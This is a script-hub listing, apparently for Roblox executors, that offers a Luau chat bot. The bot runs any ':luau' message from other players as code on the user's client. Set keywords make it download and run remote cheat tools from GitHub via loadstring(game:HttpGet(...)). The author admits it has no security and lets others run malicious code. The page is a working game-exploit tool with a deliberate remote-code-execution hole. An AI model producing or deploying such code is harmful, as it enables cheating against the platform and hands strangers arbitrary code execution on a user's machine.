let other people execute script on your client
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let other people execute script on your client

Universal Scriptwater_haxwater_hax 10.5K views 129 executesUpdated Nov 5, 2024
5.0/ 5(3 votes)
30100% Positive
Lua Script•67 lines (2405 chars)
local message = ":luau"

local textchatservice = game:GetService("TextChatService").TextChannels.RBXGeneral

local Welcome = "Hi this a luau bot Beta v1 execution " .. identifyexecutor() .. " some function are not implemented for now. commands ':luau (code)' "
local commands = "We do not support loadstring for now... since it tagging in the roblox chat > :luau DEX, :luau yield, :luau spy"
local SCRIPT = ""

-- add more script if you want
local dex = "https://raw.githubusercontent.com/infyiff/backup/main/dex.lua"
local yield = "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"
local spy = "https://github.com/exxtremestuffs/SimpleSpySource/raw/master/SimpleSpy.lua"

--[[local BindableEvent = Instance.new"BindableEvent"
BindableEvent.Name = "GetMessageEvent"
BindableEvent.Parent = workspace

BindableEvent.Event:Connect(function(MSG)
  SCRIPT = tostring(MSG)
  local s,err = pcall(function()
  loadstring(SCRIPT)()
  print(MSG .. " " .. SCRIPT)
  end)
  if not s then textchatservice:SendAsync("error in your script. : " .. err) end
end)]]

textchatservice:SendAsync(Welcome)
textchatservice:SendAsync(commands)
--textchatservice:SendAsync(tostring(BindableEvent).. " is loaded...")

textchatservice:SendAsync("loading...")
wait(2)
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
    if v~=game.Players.LocalPlayer then
    v.Chatted:Connect(function(msg)
       if string.sub(msg,1, #message) == message then
           local MESSAGE = string.sub(msg, #message + 2)
           
           if MESSAGE == "DEX" then
               SCRIPT = dex
            elseif MESSAGE == "yield" then
                   SCRIPT = yield
            elseif MESSAGE == "spy" then
                SCRIPT=spy
            else
                SCRIPT = MESSAGE
            end


            print(SCRIPT)
            local s,err = pcall(function()
              if SCRIPT == dex or SCRIPT == spy or SCRIPT == yield then
                loadstring(game:HttpGet(SCRIPT))()
                textchatservice:SendAsync("Loadstring Script Executed with no error.")
                else
                loadstring(SCRIPT)()
                textchatservice:SendAsync("Script Executed with no error.")
              end
            end)
         
            if not s then
                textchatservice:SendAsync("error in your script. : " .. err)
            end
        end
    end)
   end
end

Features & Information

this a LuaU Chat Bot (not the best one but yea) WARNING it dont have security so people can execute malicouse script or? i think :/ (while true do end) -- will crash you

Community Comments (1)

water_haxwater_haxDec 14, 2024(edited)

@bestgamer69 e

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